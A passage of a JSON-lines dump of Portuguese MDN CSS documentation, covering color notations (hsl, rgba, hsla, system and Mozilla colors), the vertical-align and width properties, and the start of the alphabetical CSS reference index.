100%,50%)\nhsl(90, 100%,50%)\nhsl(120,100%,50%)    /\\* green \\*/\nhsl(150,100%,50%)\nhsl(180,100%,50%)\nhsl(210,100%,50%)\nhsl(240,100%,50%)    /\\* blue \\*/\nhsl(270,100%,50%)\nhsl(300,100%,50%)\nhsl(330,100%,50%)\nhsl(360,100%,50%)    /\\* red \\*/\n\nhsl(120,100%,25%)    /\\* dark green \\*/\nhsl(120,100%,50%)    /\\* green \\*/\nhsl(120,100%,75%)    /\\* light green \\*/\n\nhsl(120,100%,50%)    /\\* green \\*/\nhsl(120, 67%,50%)\nhsl(120, 33%,50%)\nhsl(120,  0%,50%)\n\nhsl(120, 60%,70%)    /\\* pastel green \\*/\n\n/\\* whitespace syntax \\*/\nhsl(120 60% 70%)  /\\* pastel green \\*/\n\n/\\* angle values for hue component; also accepts rad, grad, turn \\*/\nhsl(120deg 60% 70%)  /\\* pastel green \\*/\n\n/\\* optional alpha value \\*/\nhsl(240,100%,50%,0.05)  /\\* 5% opaque blue \\*/\nhsl(240,100%,50%,5%)  /\\* 5% opaque blue with percentage value for alpha \\*/\nhsl(240 100% 50% / 0.05) /\\* 5% opaque blue \\*/\nhsl(240 100% 50% / 5%) /\\* 5% opaque blue with percentage value for alpha \\*/\n```\n\n### `rgba()`\n\nRGB colors can be expressed through both hexadecimal (prefixed with `#`) and functional (`rgb()`, `rgba()`) notations.\n\nHexadecimal notation (en-US): `#RGB[A]` or`#RRGGBB[AA]`\n\n`R` (red), `G` (green), `B` (blue), and `A` (alpha) are hexadecimal characters (0–9, A–F). `A` is optional. For example, `#ff0000` is equivalent to `#ff0000ff`. The three-digit notation (`#RGB`) is a shorter version of the six-digit form (`#RRGGBB`). For example, `#f09` is the same color as `#ff0099`. Likewise, the four-digit RGB notation (`#RGBA`) is a shorter version of the eight-digit form (`#RRGGBBAA`). For example, `#0f38` is the same color as `#00ff3388`.\n\n`rgb()` (en-US) or `rgba()` (en-US): `rgb[a](R, G, B[, A])` or `rgb[a](R G B[ / A])`\n\n`R` (red), `G` (green), and `B` (blue) can be either `<number>`s or `<percentage>` (en-US)s, where the number `255` corresponds to `100%`. `A` (alpha) can be a `<number>` between `0` and `1`, or a `<percentage>` (en-US), where the number `1` corresponds to `100%` (full opacity).\n\n\n```css\n#f030                /\\* 0% opaque red \\*/\n#F03F                /\\* full opaque red \\*/\n#ff003300            /\\* 0% opaque red \\*/\n#FF003388            /\\* 50% opaque red \\*/\nrgba(255,0,0,0.1)    /\\* 10% opaque red \\*/\nrgba(255,0,0,0.4)    /\\* 40% opaque red \\*/\nrgba(255,0,0,0.7)    /\\* 70% opaque red \\*/\nrgba(255,0,0,  1)    /\\* full opaque red \\*/\n\n/\\* whitespace syntax \\*/\nrgba(255 0 0 / 0.4)  /\\* 40% opaque red \\*/\n\n/\\* percentage value for alpha \\*/\nrgba(255 0 0 / 40%)  /\\* 40% opaque red \\*/\n```\n\n\n**Nota:** In the CSS Color Module Level 4 spec, `rgba()` has been defined as a legacy function with identical grammar and behaviour to `rgb()`; in effect, an alias. Going forward, both can accept exactly the same parameters.\n\n### `hsla()`\n\n Colors can be defined in the hue-saturation-lightness-alpha model (HSLa) using the `hsla()` functional notation. HSLa extends the HSL color model to include the alpha channel, allowing specification of the opacity of a color.\n **a** means opacity: 0=transparent; 1=opaque;\n\n\n```css\nhsla(240,100%,50%,0.05)   /\\* 5% opaque blue \\*/\nhsla(240,100%,50%, 0.4)   /\\* 40% opaque blue \\*/\nhsla(240,100%,50%, 0.7)   /\\* 70% opaque blue \\*/\nhsla(240,100%,50%,   1)   /\\* full opaque blue \\*/\n\n/\\* whitespace syntax \\*/\nhsla(240 100% 50% / 0.05) /\\* 5% opaque blue \\*/\n\n/\\* percentage value for alpha \\*/\nhsla(240 100% 50% / 5%) /\\* 5% opaque blue \\*/\n\n/\\* angle values for hue component; also accepts rad, grad, turn \\*/\nhsla(240deg 100% 50% / 5%) /\\* 5% opaque blue \\*/\nhsla(240deg,100%,50%, 0.4)  /\\* 40% opaque blue \\*/\n```\n\n\n**Nota:** In the CSS Color Module Level 4 spec, `hsla()` has been defined as a legacy function with identical grammar and behaviour to `hsl()`; in effect, an alias. Going forward, both can accept exactly the same parameters.\n\n### System Colors\n\nNot all system colors are supported on all systems. \nDeprecated\n for use on public web pages.\n\nActiveBorder\n\nActive window border.\n\nActiveCaption\n\nActive window caption. Should be used with `CaptionText` as foreground color.\n\nAppWorkspace\n\nBackground color of multiple document interface.\n\nBackground\n\nDesktop background.\n\nButtonFace\n\nFace background color for 3-D elements that appear 3-D due to one layer of surrounding border. Should be used with the `ButtonText` foreground color.\n\nButtonHighlight\n\nThe color of the border facing the light source for 3-D elements that appear 3-D due to that layer of surrounding border.\n\nButtonShadow\n\nThe color of the border away from the light source for 3-D elements that appear 3-D due to that layer of surrounding border.\n\nButtonText\n\nText on push buttons. Should be used with the `ButtonFace` or `ThreeDFace` background color.\n\nCaptionText\n\nText in caption, size box, and scrollbar arrow box. Should be used with the `ActiveCaption` background color.\n\nGrayText\n\nGrayed (disabled) text.\n\nHighlight\n\nItem(s) selected in a control. Should be used with the `HighlightText` foreground color.\n\nHighlightText\n\nText of item(s) selected in a control. Should be used with the `Highlight` background color.\n\nInactiveBorder\n\nInactive window border.\n\nInactiveCaption\n\nInactive window caption. Should be used with the `InactiveCaptionText` foreground color.\n\nInactiveCaptionText\n\nColor of text in an inactive caption. Should be used with the `InactiveCaption` background color.\n\nInfoBackground\n\nBackground color for tooltip controls. Should be used with the `InfoText` foreground color.\n\nInfoText\n\nText color for tooltip controls. Should be used with the `InfoBackground` background color.\n\nMenu\n\nMenu background. Should be used with the `MenuText` or `-moz-MenuBarText` foreground color.\n\nMenuText\n\nText in menus. Should be used with the `Menu` background color.\n\nScrollbar\n\nBackground color of scroll bars.\n\nThreeDDarkShadow\n\nThe color of the darker (generally outer) of the two borders away from the light source for 3-D elements that appear 3-D due to two concentric layers of surrounding border.\n\nThreeDFace\n\nThe face background color for 3-D elements that appear 3-D due to two concentric layers of surrounding border. Should be used with the `ButtonText` foreground color.\n\nThreeDHighlight\n\n The color of the lighter (generally outer) of the two borders facing the light source for 3-D elements that appear 3-D due to two\n concentric layers of surrounding border.\n\n\nThreeDLightShadow\n\n The color of the darker (generally inner) of the two borders facing the light source for 3-D elements that appear 3-D due to two\n concentric layers of surrounding border.\n\n\nThreeDShadow\n\nThe color of the lighter (generally inner) of the two borders away from the light source for 3-D elements that appear 3-D due to two concentric layers of surrounding border.\n\nWindow\n\nWindow background. Should be used with the `WindowText` foreground color.\n\nWindowFrame\n\nWindow frame.\n\nWindowText\n\nText in windows. Should be used with the `Window` background color.\n\n### Mozilla System Color Extensions\n\n* -moz-ButtonDefault\n    + : The border color that goes around buttons that represent the default action for a dialog box.\n* -moz-ButtonHoverFace\n    + : The background color of a button that the mouse pointer is over (which would be `ThreeDFace` or `ButtonFace` when the mouse pointer is not over it). Should be used with the `-moz-ButtonHoverText` foreground color.\n* -moz-ButtonHoverText\n    + : The text color of a button that the mouse pointer is over (which would be ButtonText when the mouse pointer is not over it). Should be used with the `-moz-ButtonHoverFace background` color.\n* -moz-CellHighlight\n    + : Background color for selected item in a tree widget. Should be used with the `-moz-CellHighlightText` foreground color. See also `-moz-html-CellHighlight`.\n* -moz-CellHighlightText\n    + : Text color for a selected item in a tree. Should be used with the `-moz-CellHighlight background` color. See also `-moz-html-CellHighlightText`.\n* -moz-Combobox\n    + : Background color for combo-boxes. Should be used with the `-moz-ComboboxText` foreground color. In versions prior to 1.9.2, use `-moz-Field` instead.\n* -moz-ComboboxText\n    + : Text color for combo-boxes. Should be used with the `-moz-Combobox` background color. In versions prior to 1.9.2, use `-moz-FieldText` instead.\n* -moz-Dialog\n    + : Background color for dialog boxes. Should be used with the `-moz-DialogText` foreground color.\n* -moz-DialogText\n    + : Text color for dialog boxes. Should be used with the `-moz-Dialog` background color.\n* -moz-dragtargetzone\n -moz-EvenTreeRow\n    + : Background color for even-numbered rows in a tree. Should be used with the `-moz-FieldText` foreground color. In Gecko versions prior to 1.9, use `-moz-Field`. See also `-moz-OddTreeRow`.\n* -moz-Field\n    + : Text field background color. Should be used with the `-moz-FieldText` foreground color.\n* -moz-FieldText\n    + : Text field text color. Should be used with the `-moz-Field`, `-moz-EvenTreeRow`, or `-moz-OddTreeRow` background color.\n* -moz-html-CellHighlight\n    + : Background color for highlighted item in HTML `<select>`s. Should be used with the `-moz-html-CellHighlightText` foreground color. Prior to Gecko 1.9, use `-moz-CellHighlight`.\n* -moz-html-CellHighlightText\n    + : Text color for highlighted items in HTML `<select>`s. Should be used with the `-moz-html-CellHighlight` background color. Prior to Gecko 1.9, use `-moz-CellHighlightText`.\n* -moz-mac-accentdarkestshadow\n -moz-mac-accentdarkshadow\n -moz-mac-accentface\n -moz-mac-accentlightesthighlight\n -moz-mac-accentlightshadow\n -moz-mac-accentregularhighlight\n -moz-mac-accentregularshadow\n -moz-mac-chrome-active\n* -moz-mac-chrome-inactive\n* -moz-mac-focusring\n -moz-mac-menuselect\n -moz-mac-menushadow\n -moz-mac-menutextselect\n -moz-MenuHover\n    + : Background color for hovered menu items. Often similar to `Highlight`. Should be used with the `-moz-MenuHoverText` or `-moz-MenuBarHoverText` foreground color.\n* -moz-MenuHoverText\n    + : Text color for hovered menu items. Often similar to `HighlightText`. Should be used with the `-moz-MenuHover` background color.\n* -moz-MenuBarText\n    + : Text color in menu bars. Often similar to `MenuText`. Should be used on top of `Menu` background.\n* -moz-MenuBarHoverText\n    + : Color for hovered text in menu bars. Often similar to `-moz-MenuHoverText`. Should be used on top of `-moz-MenuHover` background.\n* -moz-nativehyperlinktext\n    + : Default platform hyperlink color.\n* -moz-OddTreeRow\n    + : Background color for odd-numbered rows in a tree. Should be used with the `-moz-FieldText` foreground color. In Gecko versions prior to 1.9, use `-moz-Field`. See also `-moz-EvenTreeRow`.\n* -moz-win-communicationstext\n    + : Should be used for text in objects with ``-moz-appearance` (en-US): -moz-win-communications-toolbox;`.\n* -moz-win-mediatext\n    + : Should be used for text in objects with ``-moz-appearance` (en-US): -moz-win-media-toolbox`.\n### Mozilla Color Preference Extensions\n\n-moz-activehyperlinktext\n\nUser's preference for text color of active links. Should be used with the default document background color.\n\n-moz-default-background-color\n\nUser's preference for the document background color.\n\n-moz-default-color\n\nUser's preference for the text color.\n\n-moz-hyperlinktext\n\nUser's preference for the text color of unvisited links. Should be used with the default document background color.\n\n-moz-visitedhyperlinktext\n\nUser's preference for the text color of visited links. Should be used with the default document background color.\n\nSpecificações\n-------------\n\n| Specification |\n| --- |\n| CSS Color Module Level 4 # color-syntax |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVer também\n----------\n\n* The `opacity` property, allowing to define the transparency of color at the element level.\n* The `color`, `background-color`, `border-color` (en-US), `outline-color` (en-US), `text-shadow`, `box-shadow` properties."}
{"title":"vertical-align - CSS","text":"vertical-align\n==============\n\nA propriedade **`vertical-align`** do CSS define o alinhamento vertical de uma caixa inline, inline-block ou table-cell.\n\nExperimente\n-----------\n\nA propriedade vertical-align pode ser usada em dois contextos:\n\n* Para alinhar verticalmente a caixa de um elemento inline dentro da caixa de linha que a contém. Por exemplo, pode ser usado para posicionar verticalmente uma imagem em uma linha de texto.\n* Para alinhar verticalmente o conteúdo de uma célula em uma tabela.\n\nObserve que `vertical-align` só se aplica a elementos inline, inline-block e table-cell: você não pode usá-lo para alinhar verticalmente elementos em nível de bloco.\n\nSintaxe\n-------\n\n\n```css\n/\\* Valores de palavra-chave \\*/\nvertical-align: baseline;\nvertical-align: sub;\nvertical-align: super;\nvertical-align: text-top;\nvertical-align: text-bottom;\nvertical-align: middle;\nvertical-align: top;\nvertical-align: bottom;\n\n/\\* valores <comprimento> \\*/\nvertical-align: 10em;\nvertical-align: 4px;\n\n/\\* valores <porcentagem> \\*/\nvertical-align: 20%;\n\n/\\* Valores globais \\*/\nvertical-align: inherit;\nvertical-align: initial;\nvertical-align: revert;\nvertical-align: revert-layer;\nvertical-align: unset;\n```\n\n\nA propriedade `vertical-align` é especificada como um dos valores listados abaixo.\n\n### Valores para elementos inline\n\n#### Valores relativos aos pais\n\nEsses valores alinham verticalmente o elemento em relação ao seu elemento pai:\n\n`baseline`\n\nAlinha a linha de base do elemento com a linha de base de seu pai. A linha de base de alguns elementos substituídos (en-US), como `<textarea>`, não é especificada pela especificação HTML, o que significa que seu comportamento com esta palavra-chave pode variar entre os navegadores.\n\n`sub`\n\nAlinha a linha de base do elemento com a linha de base subscrita de seu pai.\n\n`super`\n\nAlinha a linha de base do elemento com a linha de base sobrescrita de seu pai.\n\n`text-top`\n\nAlinha a parte superior do elemento com a parte superior da fonte do elemento pai.\n\n`text-bottom`\n\nAlinha a parte inferior do elemento com a parte inferior da fonte do elemento pai.\n\n`middle`\n\nAlinha o meio do elemento com a linha de base mais metade da altura x do pai.\n\n`<length>` (en-US)\n\nAlinha a linha de base do elemento ao comprimento especificado acima da linha de base de seu pai. Um valor negativo é permitido.\n\n`<percentage>` (en-US)\n\nAlinha a linha de base do elemento à porcentagem fornecida acima da linha de base de seu pai, com o valor sendo uma porcentagem da propriedade `line-height` (en-US). Um valor negativo é permitido.\n\n#### Valores relativos à linha\n\nOs seguintes valores alinham verticalmente o elemento em relação à linha inteira:\n\n`top`\n\nAlinha o topo do elemento e seus descendentes com o topo de toda a linha.\n\n`bottom`\n\nAlinha a parte inferior do elemento e seus descendentes com a parte inferior de toda a linha.\n\nPara elementos que não possuem uma linha de base, a borda da margem inferior é usada.\n\n### Valores para células da tabela\n\n`baseline` (e `sub`, `super`, `text-top`, `text-bottom`, `<length>` e `<percentage>`)\n\nAlinha a linha de base da célula com a linha de base de todas as outras células na linha que estão alinhadas com a linha de base.\n\n`top`\n\nAlinha a borda de preenchimento superior da célula com a parte superior da linha.\n\n`middle`\n\nCentraliza a caixa de preenchimento da célula dentro da linha.\n\n`bottom`\n\nAlinha a borda de preenchimento inferior da célula com a parte inferior da linha.\n\nValores negativos são permitidos.\n\nDefinição formal\n----------------\n\n|  |  |\n| --- | --- |\n| Initial value | `baseline` |\n| Aplica-se a | inline-level and table-cell elements. It also applies to `::first-letter` and `::first-line`. |\n| Inherited | não |\n| Percentages | refer to the `line-height` (en-US) of the element itself |\n| Computed value | for percentage and length values, the absolute length, otherwise the keyword as specified |\n| Animation type | a length |\n\nSintaxe formal\n--------------\n```\n\nvertical-align =   \n  [ (en-US) first | (en-US) last ] (en-US)        || (en-US)  \n  <'alignment-baseline'>  || (en-US)  \n  <'baseline-shift'>        \n  \n```\n\nExemplos\n--------\n\n### Exemplo básico\n\n#### HTML\n\n\n```html\n<div>\n  Uma imagem <img src=\"frame\\_image.svg\" alt=\"link\" width=\"32\" height=\"32\" /> com\n  um alinhamento padrão.\n</div>\n<div>\n  Uma imagem\n  <img class=\"top\" src=\"frame\\_image.svg\" alt=\"link\" width=\"32\" height=\"32\" />\n  com um alinhamento de texto superior.\n</div>\n<div>\n  Uma imagem\n  <img class=\"bottom\" src=\"frame\\_image.svg\" alt=\"link\" width=\"32\" height=\"32\" />\n  com um alinhamento de texto inferior.\n</div>\n<div>\n  Uma imagem\n  <img class=\"middle\" src=\"frame\\_image.svg\" alt=\"link\" width=\"32\" height=\"32\" />\n  com um alinhamento médio.\n</div>\n```\n\n\n#### CSS\n\n\n```css\nimg.top {\n  vertical-align: text-top;\n}\nimg.bottom {\n  vertical-align: text-bottom;\n}\nimg.middle {\n  vertical-align: middle;\n}\n```\n\n\n#### Resultado\n\n### Alinhamento vertical em uma caixa de linha\n\n#### HTML\n\n\n```html\n<p>\n  top: <img style=\"vertical-align: top\" src=\"star.png\" /><br />\n  middle: <img style=\"vertical-align: middle\" src=\"star.png\" /><br />\n  bottom: <img style=\"vertical-align: bottom\" src=\"star.png\" /><br />\n  super: <img style=\"vertical-align: super\" src=\"star.png\" /><br />\n  sub: <img style=\"vertical-align: sub\" src=\"star.png\" /><br />\n</p>\n\n<p>\n  text-top: <img style=\"vertical-align: text-top\" src=\"star.png\" /><br />\n  text-bottom: <img style=\"vertical-align: text-bottom\" src=\"star.png\" /><br />\n  0.2em: <img style=\"vertical-align: 0.2em\" src=\"star.png\" /><br />\n  -1em: <img style=\"vertical-align: -1em\" src=\"star.png\" /><br />\n  20%: <img style=\"vertical-align: 20%\" src=\"star.png\" /><br />\n  -100%: <img style=\"vertical-align: -100%\" src=\"star.png\" /><br />\n</p>\n```\n\n\n```\n#\\* {\n  box-sizing: border-box;\n}\n\nimg {\n  margin-right: 0.5em;\n}\n\np {\n  height: 3em;\n  padding: 0 0.5em;\n  font-family: monospace;\n  text-decoration: underline overline;\n  margin-left: auto;\n  margin-right: auto;\n  width: 80%;\n}\n```\n\n\n#### Resultado\n\n### Alinhamento vertical em uma célula da tabela\n\n#### HTML\n\n\n```html\n<table>\n  <tr>\n    <td style=\"vertical-align: baseline\">baseline</td>\n    <td style=\"vertical-align: top\">top</td>\n    <td style=\"vertical-align: middle\">middle</td>\n    <td style=\"vertical-align: bottom\">bottom</td>\n    <td>\n      <p>\n        Existe uma teoria que afirma que se alguém descobrir exatamente para que\n        serve o Universo e por que ele está aqui, ele desaparecerá\n        instantaneamente e será substituído por algo ainda mais bizarro e\n        inexplicável.\n      </p>\n      <p>Há outra teoria que afirma que isso já aconteceu.</p>\n    </td>\n  </tr>\n</table>\n```\n\n\n#### CSS\n\n\n```css\ntable {\n  margin-left: auto;\n  margin-right: auto;\n  width: 80%;\n}\n\ntable,\nth,\ntd {\n  border: 1px solid black;\n}\n\ntd {\n  padding: 0.5em;\n  font-family: monospace;\n}\n```\n\n\n#### Resultado\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Cascading Style Sheets Level 2 Revision 2 (CSS 2.2) Specification # propdef-vertical-align |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Casos de uso típicos do Flexbox, seção \"Item central\" (en-US)\n* `line-height` (en-US), `text-align`, `margin`\n* Entendendo `vertical-align`, ou \"Como (não) centralizar o conteúdo verticalmente\"\n* Vertical-Align: Tudo o que você precisa saber"}
{"title":"width - CSS","text":"width\n=====\n\nResumo\n------\n\nA propriedade CSS **width** determina a largura da área de conteúdo de um elemento. A área de conteúdo fica dentro do preenchimento, da borda, e da margem de um elemento.\n\nAs propriedades `min-width` (en-US) e `max-width` sobrescrevem o `width`.\n\n|  |  |\n| --- | --- |\n| Initial value | `auto` |\n| Aplica-se a | all elements but non-replaced inline elements, table rows, and row groups |\n| Inherited | não |\n| Percentages | refer to the width of the containing block |\n| Computed value | a percentage or `auto` or the absolute length |\n| Animation type | a length, percentage or calc(); |\n\nSintaxe\n-------\n\n\n```css\n/\\* Valores de largura - <length> \\*/\nwidth: 300px;\nwidth: 25em;\n\n/\\* Valores percentuais - <percentage> \\*/\nwidth: 75%;\n\n/\\* Valores com palavras-chave \\*/\nwidth: 25em border-box;\nwidth: 75% content-box;\nwidth: max-content;\nwidth: min-content;\nwidth: available;\nwidth: fit-content;\nwidth: auto;\n\n/\\* Valores Globais \\*/\nwidth: inherit;\nwidth: initial;\nwidth: unset;\n```\n\n### Valores\n\n`<length>`\n\nVeja `<length>` (en-US) para possíveis unidades.\n\n`<percentage>`\n\nEspecificado como `<percentage>` (en-US) da largura do bloco contido. Se a largura do bloco contido depender da largura do elemento, o layout resultante é indefinido.\n\n`border-box` \nExperimental\n\nSe presente, o precedente `<length>` (en-US) ou `<percentage>` (en-US) é aplicado para o border box do elemento.\n\n`content-box` \nExperimental\n\nSe presente, o precedente `<length>` (en-US) ou `<percentage>` (en-US) é aplicado para o content box do elemento.\n\n`auto`\n\nO navegador irá calcular e selecionar a largura para o elemento específicado.\n\nfill \nExperimental\n\nUse o fill-available inline size ou fill-available block size, como um modo apropriado de escrita.\n\n`max-content` \nExperimental\n\nDa largura interna preferível.\n\n`min-content` \nExperimental\n\nDa largura interna mínina.\n\n`available` \nExperimental\n\nDo bloco contendo a largura menos a margin horizontal, borda ou preenchimento.\n\n`fit-content` \nExperimental\n\nA largura:\n\n* do comprimento interno mínimo.\n* do menor comprimento interno preferível e da largura disponível.\n\n### Sintaxe Formal\n```\n\nwidth =   \n  auto                                      | (en-US)  \n  <length-percentage [0,∞]>                 | (en-US)  \n  min-content                               | (en-US)  \n  max-content                               | (en-US)  \n  fit-content( <length-percentage [0,∞]> )    \n  \n<length-percentage> =   \n  <length> (en-US)      | (en-US)  \n  <percentage> (en-US)    \n  \n```\n\nExemplos\n--------\n\n### Largura padrão\n\n\n```css\np.douradinho {\n  background: gold;\n}\n```\n\n\n\n```html\n<p class=\"douradinho\">\n  A comunidade Mozilla produz diversos softwares incríveis.\n</p>\n```\n\n### Pixels e ems\n\n\n```css\n.largura\\_px {\n  width: 200px;\n  background-color: red;\n  color: white;\n  border: 1px solid black;\n}\n\n.largura\\_em {\n  width: 20em;\n  background-color: white;\n  color: red;\n  border: 1px solid black;\n}\n```\n\n\n\n```html\n<div class=\"largura\\_px\">Largura medida com px</div>\n<div class=\"largura\\_em\">Largura medida com em</div>\n```\n\n### Porcentagem\n\n\n```css\n.porcentagem {\n  width: 20%;\n  background-color: silver;\n  border: 1px solid red;\n}\n```\n\n\n\n```html\n<div class=\"porcentagem\">Largura em porcentagem</div>\n```\n\n### Exemplo utilizando \"max-content\"\n\n\n```css\np.maxgreen {\n  background: lightgreen;\n  width: intrinsic; /\\* Safari/WebKit uses a non-standard name \\*/\n  width: -moz-max-content; /\\* Firefox/Gecko \\*/\n  width: -webkit-max-content; /\\* Chrome \\*/\n}\n```\n\n\n\n```html\n<p class=\"maxgreen\">\n  A comunidade Mozilla produz diversos softwares incríveis.\n</p>\n```\n\n### Exemplo utilizando \"min-content\"\n\n\n```css\np.minblue {\n  background: lightblue;\n  width: -moz-min-content; /\\* Firefox \\*/\n  width: -webkit-min-content; /\\* Chrome \\*/\n}\n```\n\n\n\n```html\n<p class=\"minblue\">A comunidade Mozilla produz diversos softwares incríveis.</p>\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Box Sizing Module Level 4 # width-height-keywords |\n| CSS Box Sizing Module Level 4 # sizing-values |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* box model, `height`, `box-sizing`, `min-width` (en-US), `max-width`"}
{"title":"Referência de CSS - CSS","text":"Referência de CSS\n=================\n\n### -\n\nUse esta **referência de CSS** para navegar por um índice alfabético das propriedades padrão do CSS, pseudo-classes, pseudo-elementos, tipos de dados e @-rules.\n\nEsta referência lista não somente as propriedades do CSS1 e CSS2.1, mas também referências para qualquer propriedade, conceito padronizado ou estabilizado do CSS3.\n\nVeja também Extensões CSS Mozilla para propriedades específicas do Gecko prefixadas com `-moz` e Extensões CSS do WebKit para propriedades específicas do WebKit. Veja Visão geral de propriedades CSS prefixadas por distribuidor por Peter Beverloo para todas as propriedades prefixadas.\n\n* `--*`\n* `-webkit-line-clamp` (en-US)\n\n### A\n\n* `abs()` (en-US)\n* `accent-color` (en-US)\n* `acos()` (en-US)\n* `:active`\n* `additive-symbols (@counter-style)` (en-US)\n* `::after (:after)`\n* `align-content`\n* `align-items`\n* `align-self`\n* `align-tracks` (en-US)\n* `all` (en-US)\n* `<an-plus-b>`\n* `<angle>` (en-US)\n* `<angle-percentage>` (en-US)\n* `animation`\n* `animation-composition` (en-US)\n* `animation-delay`\n* `animation-direction` (en-US)\n* `animation-duration` (en-US)\n* `animation-fill-mode` (en-US)\n* `animation-iteration-count` (en-US)\n* `animation-name` (en-US)\n* `animation-play-state` (en-US)\n* `animation-range` (en-US)\n* `animation-range-end` (en-US)\n* `animation-range-start` (en-US)\n* `animation-timeline` (en-US)\n* `animation-timing-function` (en-US)\n* `@annotation` (en-US)\n* `:any-link` (en-US)\n* `appearance` (en-US)\n* `ascent-override (@font-face)` (en-US)\n* `asin()` (en-US)\n* `aspect-ratio` (en-US)\n* `atan()` (en-US)\n* `atan2()` (en-US)\n* `attr()`\n\n### B\n\n* `::backdrop`\n* `backdrop-filter`\n* `backface-visibility`\n* `background`\n* `background-attachment`\n* `background-blend-mode`\n* `background-clip`\n* `background-color`\n* `background-image` (en-US)\n* `background-origin`\n* `background-position` (en-US)\n* `background-position-x` (en-US)\n* `background-position-y` (en-US)\n* `background-repeat` (en-US)\n* `background-size`\n* `base-palette (@font-palette-values)` (en-US)\n* `<basic-shape>` (en-US)\n* `::before (:before)`\n* `:blank`\n* `bleed (@page)`\n* `<blend-mode>`\n* `block-size`\n* `blur()` (en-US)\n* `border` (en-US)\n* `border-block` (en-US)\n* `border-block-color` (en-US)\n* `border-block-end` (en-US)\n* `border-block-end-color` (en-US)\n* `border-block-end-style` (en-US)\n* `border-block-end-width` (en-US)\n* `border-block-start` (en-US)\n* `border-block-start-color` (en-US)\n* `border-block-start-style` (en-US)\n* `border-block-start-width` (en-US)\n* `border-block-style` (en-US)\n* `border-block-width` (en-US)\n* `border-bottom` (en-US)\n* `border-bottom-color` (en-US)\n* `border-bottom-left-radius` (en-US)\n* `border-bottom-right-radius` (en-US)\n* `border-bottom-style` (en-US)\n* `border-bottom-width` (en-US)\n* `border-collapse` (en-US)\n* `border-color` (en-US)\n* `border-end-end-radius` (en-US)\n* `border-end-start-radius` (en-US)\n* `border-image` (en-US)\n* `border-image-outset` (en-US)\n* `border-image-repeat` (en-US)\n* `border-image-slice` (en-US)\n* `border-image-source` (en-US)\n* `border-image-width` (en-US)\n* `border-inline` (en-US)\n* `border-inline-color` (en-US)\n* `border-inline-end` (en-US)\n* `border-inline-end-color` (en-US)\n* `border-inline-end-style` (en-US)\n* `border-inline-end-width` (en-US)\n* `border-inline-start` (en-US)\n* `border-inline-start-color` (en-US)\n* `border-inline-start-style` (en-US)\n* `border-inline-start-width` (en-US)\n* `border-inline-style` (en-US)\n* `border-inline-width` (en-US)\n* `border-left`\n* `border-left-color` (en-US)\n* `border-left-style` (en-US)\n* `border-left-width` (en-US)\n* `border-radius` (en-US)\n* `border-right` (en-US)\n* `border-right-color` (en-US)\n* `border-right-style` (en-US)\n* `border-right-width` (en-US)\n* `border-spacing` (en-US)\n* `border-start-end-radius` (en-US)\n* `border-start-start-radius` (en-US)\n* `border-style` (en-US)\n* `border-top` (en-US)\n* `border-top-color` (en-US)\n* `border-top-left-radius` (en-US)\n* `border-top-right-radius` (en-US)\n* `border-top-style` (en-US)\n* `border-top-width` (en-US)\n* `border-width` (en-US)\n* `bottom` (en-US)\n* `@bottom-center`\n* `box-decoration-break` (en-US)\n* `box-shadow`\n* `box-sizing`\n* `break-after` (en-US)\n* `break-before` (en-US)\n* `break-inside` (en-US)\n* `brightness()` (en-US)\n\n### C\n\n* `calc()`\n* `caption-side` (en-US)\n* `caret`\n* `caret-color` (en-US)\n* `caret-shape`\n* `@character-variant` (en-US)\n* `@charset`\n* `:checked`\n* `circle()` (en-US)\n* `clamp()` (en-US)\n* `clear`\n* `clip` (en-US)\n* `clip-path` (en-US)\n* `<color>`\n* `color`\n* `color-scheme`\n* `column-count` (en-US)\n* `column-fill` (en-US)\n* `column-gap` (en-US)\n* `column-rule` (en-US)\n* `column-rule-color` (en-US)\n* `column-rule-style` (en-US)\n* `column-rule-width` (en-US)\n* `column-span` (en-US)\n* `column-width` (en-US)\n* `columns` (en-US)\n* `conic-gradient()` (en-US)\n* `contain`\n* `contain-intrinsic-block-size` (en-US)\n* `contain-intrinsic-height` (en-US)\n* `contain-intrinsic-inline-size` (en-US)\n* `contain-intrinsic-size` (en-US)\n* `contain-intrinsic-width` (en-US)\n* `container` (en-US)\n* `container-name` (en-US)\n* `container-type` (en-US)\n* `content`\n* `content-visibility` (en-US)\n* `contrast()` (en-US)\n* `cos()` (en-US)\n* `<counter>` (en-US)\n* `counter-increment` (en-US)\n* `counter-reset` (en-US)\n* `counter-set` (en-US)\n* `@counter-style` (en-US)\n* `counters()` (en-US)\n* `cross-fade()` (en-US)\n* `cubic-bezier()` (en-US)\n* `::cue` (en-US)\n* `::cue-region` (en-US)\n* `:current` (en-US)\n* `cursor`\n* `<custom-ident>` (en-US)\n* `length#cap` (en-US)\n* `length#ch` (en-US)\n* `length#cm` (en-US)\n\n### D\n\n* `angle#deg` (en-US)\n* `<dashed-ident>` (en-US)\n* `:default` (en-US)\n* `:defined` (en-US)\n* `descent-override (@font-face)` (en-US)\n* `<dimension>` (en-US)\n* `:dir` (en-US)\n* `direction` (en-US)\n* `:disabled`\n* `display`\n* `<display-box>`\n* `<display-inside>`\n* `<display-internal>`\n* `<display-legacy>`\n* `<display-listitem>`\n* `<display-outside>`\n* `drop-shadow()` (en-US)\n* `resolution#dpcm` (en-US)\n* `resolution#dpi` (en-US)\n* `resolution#dppx` (en-US)\n\n### E\n\n* `<easing-function>` (en-US)\n* `element()`\n* `ellipse()` (en-US)\n* `:empty`\n* `empty-cells` (en-US)\n* `:enabled`\n* `env()`\n* `exp()` (en-US)\n* `length#em` (en-US)\n* `length#ex` (en-US)\n\n### F\n\n* `fallback (@counter-style)` (en-US)\n* `filter` (en-US)\n* `<filter-function>` (en-US)\n* `:first` (en-US)\n* `:first-child`\n* `::first-letter (:first-letter)`\n* `::first-line (:first-line)`\n* `:first-of-type`\n* `fit-content()` (en-US)\n* `<flex>` (en-US)\n* `flex`\n* `flex-basis` (en-US)\n* `flex-direction`\n* `flex-flow`\n* `flex-grow` (en-US)\n* `flex-shrink` (en-US)\n* `flex-wrap`\n* `flex_value#fr` (en-US)\n* `float`\n* 